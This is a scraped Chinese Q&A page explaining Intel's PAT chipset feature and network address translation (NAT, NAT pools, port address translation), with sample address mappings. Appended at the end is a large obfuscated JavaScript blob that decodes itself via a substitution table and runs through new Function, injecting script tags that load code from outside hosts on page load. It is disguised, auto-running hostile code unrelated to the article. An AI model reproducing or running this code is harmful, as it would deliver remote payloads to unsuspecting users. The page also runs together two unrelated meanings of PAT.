推荐回答(4个)
英文:PAT(Performance
Acceleration
Technology)
中文:性能加速技术
所属类别:主板芯片组
“这种技术主要被用来改进芯片组的性能。这项技术简单地说PAT对芯片组性能的提升并非通过超频处理器、芯片组或内存来实现的。而是采用了减少了芯片组内部FSB和系统内存之间延迟的技术。PAT不单单是BIOS的一个选项,它还要借助于芯片本身。865芯片组系列就不能实现PAT。实际上865-PE芯片组已经提供了相当出色的性能,875P芯片组则是为那些要求更高的用户提供附加的性能。预期875P芯片组在相同的配置下会比865芯片组的性能提升2-5%。还需指出,PAT模式只能在800MHz
FSB和双通道DDR400的情况下才能实现。什么是
NAT?
网络地址转换
(NAT)
是一个
Internet
工程任务组
(Internet
Engineering
Task
Force,IETF)
标准,用于允许专用网络上的多台
PC
(使用专用地址段,例如
10.0.x.x、192.168.x.x、172.x.x.x)
共享单个、全局路由的
IPv4
地址。IPv4
地址日益不足是经常部署
NAT
的一个主要原因。Windows
XP
和
Windows
Me
中的“Internet
连接共享”及许多
I
nternet
网关设备都使用
NAT,尤其是在通过
DSL
或电缆调制解调器连接宽带网的情况下。
NAT
对于解决
IPv4
地址耗费问题
(在
IPv6
部署中却没必要)
尽管很有效,但毕竟属于临时性的解决方案。这种
IPv4
地址占用问题在亚洲及世界其他一些地方已比较严重,且日渐成为北美地区需要关注的问题。这就是人们为什么长久以来一直关注使用
IPv6
来克服这个问题的原因所在。
除了减少所需的
IPv4
地址外,由于专用网络之外的所有主机都通过一个共享的
IP
地址来监控通信,因此
NAT
还为专用网络提供了一个隐匿层。NAT
与防火墙或代理服务器不同,但它确实有利于安全。
随着Internet的飞速发展,网上丰富的资源产生着巨大的吸引力。接入Internet、访问Internet成为当今信息业最为迫切的需求。
但这受到IP地址的许多限制。首先,许多局域网在未联入Internet之前,就已经运行许多年了,局域网上有了许多现成的资源和应用程序,但它的IP地址分配不符合Internet的国际标准,因而需要重新分配局域网的IP地址,这无疑是劳神费时的工作;其二,随着Internet的膨胀式发展,其可用的IP地址越来越少,要想在ISP处申请一个新的IP地址已不是很容易的事了。这不仅仅是费用的问题,而是IP地址的现行标准IPv4决定的。当然,随着IPv6的出台,这个问题应当能够得到解决。但从IPv4到IPv6的升级不是一两天就能完成的。
NAT(网络地址翻译)能解决不少令人头疼的问题。它解决问题的办法是:在内部网络中使用内部地址,通过NAT把内部地址翻译成合法的IP地址,在Internet上使用。其具体的做法是把IP包内的地址域用合法的IP地址来替换。
NAT功能通常被集成到路由器、防火墙、ISDN路由器或者单独的NAT设备中。NAT设备维护一个状态表,用来把非法的IP地址映射到合法的IP地址上去。每个包在NAT设备中都被翻译成正确的IP地址发往下一级,这意味着给处理器带来了一定的负担。但这对于一般的网络来说是微不足道的,除非是有许多主机的大型网络。
需要注意的是,NAT并不是一种有安全保证的方案,它不能提供类似防火墙、包过滤、隧道等技术的安全性,仅仅在包的最外层改变IP地址。这使得黑客可以很容易地窃取网络信息,危及网络安全。
NAT有三种类型:静态NAT(staticNAT)、NAT池(pooledNAT)和端口NAT(PAT)。其中静态NAT设置起来最为简单,内部网络中的每个主机都被永久映射成外部网络中的某个合法的地址。而NAT池则是在外部网络中定义了一系列的合法地址,采用动态分配的方法映射到内部网络。PAT则是把内部地址映射到外部网络的一个IP地址的不同端口上。根据不同的需要,各种NAT方案都是有利有弊。
■使用NAT池
使用NAT池,可以从未注册的地址空间中提供被外部访问的服务,也可以从内部网络访问外部网络,而不需要重新配置内部网络中的每台机器的IP地址。例如,建立在NT+IIS服务器上的内部试验子网192.168.0.0,其网络地址属于B类保留地址。作为企业网的一个子网,其IP地址不分配给企业网上的设备而仅仅局限在试验子网的设备上。为了使企业网能访问到这个内部网,在网络上增加一条静态路径,使信息能回传给Cisco4700路由器。其中的路由器可以把内部网和企业网连接起来,使之能相互访问。在内部网中不要使用RIP协议,因为使用RIP后,内部网络相对外部来说变得不可见了。
这样,本地信息可以相互访问了,但由于192.168.0.0属于保留地址,故不能直接访问Internet。所以在路由器中设置一个NAT池,用来翻译来自内部网络的IP包,把它的IP地址映射成地址池(pooledaddresses)中的合法IP地址。那么,内部网可以访问Internet上的任何服务器,Internet上的任何主机也能通过TCP或UDP访问到内部网。
采用NAT池意味着可以在内部网中定义很多的内部用户,通过动态分配的办法,共享很少的几个外部IP地址。而静态NAT则只能形成一一对应的固定映射方式。该引起注意的是,NAT池中动态分配的外部IP地址全部被占用后,后续的NAT翻译申请将会失败。庆幸的是,许多有NAT功能的路由器有超时配置功能。例如在上述的Cisco4700中配置成开始15分钟后删除当前的NAT进程,为后续的NAT申请预留出外部IP地址。通过试验表明,一般的外部连接不会很长,所以短的时间阈值也可以接受。当然用户可以自行调节时间阈值,以满足各自的需求。
NAT池提供很大灵活性的同时,也影响到网络原有的一些管理功能。例如,SN�MP管理站利用IP地址来跟踪设备的运行情况。但使用NAT之后,意味着那些被翻译的地址对应的内部地址是变化的,今天可能对应一台工作站,明天就可能对应一台服务器。这给SNMP管理带来了麻烦。一个可行的解决方案就是把划分给NAT池的那部分地址在SNMP管理平台上标记出来,对于这些不响应管理信号的地址不予报警,如同它们被关掉了一样。
■使用PAT
PAT在远程访问产品中得到了大量的应用,特别是在远程拨号用户使用的设备中。PAT可以把内部的TCP/IP映射到外部一个注册IP地址的多个端口上。PAT可以支持同时连接64500个TCP/IP、UDP/IP,但实际可以支持的工作站个数会少一些。因为许多Internet应用如HTTP,实际上由许多小的连接组成。
在Internet中使用PAT时,所有不同的TCP和UDP信息流看起来仿佛都来源于同一个IP地址。这个优点在小型办公室(SOHO)内非常实用,通过从ISP处申请的一个IP地址,将多个连接通过PAT接入Internet。实际上,许多SOHO远程访问设备支持基于PPP的动态IP地址。这样,ISP甚至不需要支持PAT,就可以做到多个内部IP地址共用一个外部IP地址上Internet。虽然这样会导致信道的一定拥塞,但考虑到节省的ISP上网费用和易管理的特点,用PAT还是很值得的。
■基于NAT的负载平衡
以上所谈论的均是关于使用NAT和PAT来把内部IP地址转换成外部合法的IP地址使用。下面介绍NAT的另一个运用:作为用于负载平衡的DNS系列服务器(DNSround-robin)的一个替代品。DNS系列服务器解决了多个IP地址共用一个域名的问题。它会在响应DNS申请时跳跃式地寻找可用的IP地址。达到的效果就是一个域名可以对应多个IP地址。这种功能可以应用在一个HTTP服务器群中,利用它可以平衡多个服务器的负载。但是这里还有一个问题,IP客户端会在本地缓冲DNS/IP地址解析,从而使它的后续的申请都会到达同一个IP地址,减弱了DNS系列服务器的作用。
使用基于NAT的负载平衡方案,则可以避免这个问题。路由器或其它NAT设备把需要负载平衡的多个IP地址翻译成一个公用的IP地址,每个TCP连接被NAT送到一个IP地址,而后续的TCP连接则被NAT送到下一个IP地址。真正实现了负载平衡。当然,基于NAT的负载平衡只能在NAT上实现,而不能在PAT上实现。
■安全问题
当NAT改变包的IP地址后,需要认真考虑这样做对安全设施带来的影响。
对于防火墙,它利用IP地址、TCP端口、目标地址以及其它在IP包内的信息来决定是否干预网络的连接。当使用了NAT之后,可能就不得不改变防火墙的规则,因为NAT改变了源地址和目的地址。
在许多配置中,NAT被集成在防火墙系统之中,提供访问控制和地址翻译的功能。不要把NAT设在防火墙之外,因为黑客可以轻易地骗过NAT,让NAT认为它是一个授权用户,从而进入网络。
若企业网中使用了VPN(虚拟专用网),并用IPSec进行加密安全保证,那么错误地设置NAT将会破坏VPN的功能。把NAT放在受保护的VPN内部,而不是在中间。因为NAT改变IP包内的地址域,而IPSec规定一些信息是不能被改变的。若IP地址被改变了,IPSec就会认为这个包是伪造的,拒绝使用。
虽然NAT带来了许多优越性,例如使现有网络不必重新编址、减少了ISP接入费用,还可以起平衡负载的作用,但NAT潜在地影响到一些网络管理功能和安全设施,这就需要谨慎地使用它。
NAT的地址转换是指每个内网地址都被转换成ip地址+源端口的方式,这需要公网ip地址为多个。
而PAT由于ip地址不足够,就会出现内网地址被转换成ip地址+端口段的形式,这样的公网ip地址通常只是一个。
举个例子:
NAT
192.168.0.2:4444
----〉202.116.100.5:4444
192.168.0.3:5555
----〉202.116.100.6:5555
192.168.0.10:1233
---〉202.116.100.5:1233
PAT
192.168.0.2:4444
----〉202.116.100.5:50003
192.168.0.3:5555
----〉202.116.100.5:50004
192.168.0.10:1233
---〉202.116.100.5:50005
NAT的地址转换是指每个内网地址都被转换成ip地址+源端口的方式,这需要公网ip地址为多个。 而PAT由于ip地址不足够,就会出现内网地址被转换成ip地址+端口段的形式,这样的公网ip地址通常只是一个。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();